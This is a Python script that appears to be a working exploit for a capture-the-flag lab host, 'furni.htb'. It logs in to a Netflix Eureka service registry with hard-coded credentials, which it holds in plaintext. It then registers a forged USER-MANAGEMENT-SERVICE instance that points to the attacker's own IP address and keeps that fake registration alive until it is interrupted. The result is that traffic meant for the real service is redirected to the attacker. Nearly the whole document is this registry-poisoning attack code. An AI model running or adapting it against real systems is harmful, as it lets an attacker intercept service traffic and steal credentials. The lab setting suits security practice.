import requests
import time

s = requests.Session()
s.auth = ('EurekaSrvr', '0scarPWDisTheB3st')

data = {
    "instance": {
        "instanceId": "localhost:myservice:5555",
        "app": "USER-MANAGEMENT-SERVICE",
        "appGroupName": None,
        "ipAddr": "10.10.14.115",
        "sid": "na",
        "homePageUrl": "http://10.10.14.115:5555/",
        "statusPageUrl": "http://10.10.14.115:5555/actuator/info",
        "healthCheckUrl": "http://10.10.14.115:5555/actuator/health",
        "secureHealthCheckUrl": None,
        "vipAddress": "USER-MANAGEMENT-SERVICE",
        "secureVipAddress": "USER-MANAGEMENT-SERVICE",
        "countryId": 1,
        "dataCenterInfo": {
            "@class": "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo",
            "name": "MyOwn"
        },
        "hostName": "10.10.14.115",
        "status": "UP",
        "overriddenStatus": "UNKNOWN",
        "leaseInfo": {
            "renewalIntervalInSecs": 30,
            "durationInSecs": 90,
            "registrationTimestamp": 0,
            "lastRenewalTimestamp": 0,
            "evictionTimestamp": 0,
            "serviceUpTimestamp": 0
        },
        "isCoordinatingDiscoveryServer": False,
        "lastUpdatedTimestamp": 1746196753018,
        "lastDirtyTimestamp": 1746196753969,
        "actionType": None,
        "asgName": None,
        "port": {
            "$": 5555,
            "@enabled": "true"
        },
        "securePort": {
            "$": 443,
            "@enabled": "false"
        },
        "metadata": {
            "management.port": "5555"
        }
    }
}


#register the service
response = s.post("http://furni.htb:8761/eureka/apps/USER-MANAGEMENT-SERVICE", json=data)
print("Registered service")
if response.status_code == 204:
    print("New service registered successfully")
else:
    print("Failed to register service")
    print(response.text)

s.put("http://furni.htb:8761/eureka/apps/USER-MANAGEMENT-SERVICE/localhost:myservice:5555?status=UP", json=data)
print("Service status updated to UP")

start_time = time.time()
try:
    while True:
        elapsed_time = time.time() - start_time
        if elapsed_time > 30:
            # renew the service
            response = s.put("http://furni.htb:8761/eureka/apps/USER-MANAGEMENT-SERVICE/localhost:myservice:5555?status=UP", json=data)
            print("Renewed service")
            start_time = time.time()
        time.sleep(1)
except KeyboardInterrupt:
    response = s.delete("http://furni.htb:8761/eureka/apps/USER-MANAGEMENT-SERVICE/localhost:myservice:5555")
    print("Deregistered new service")
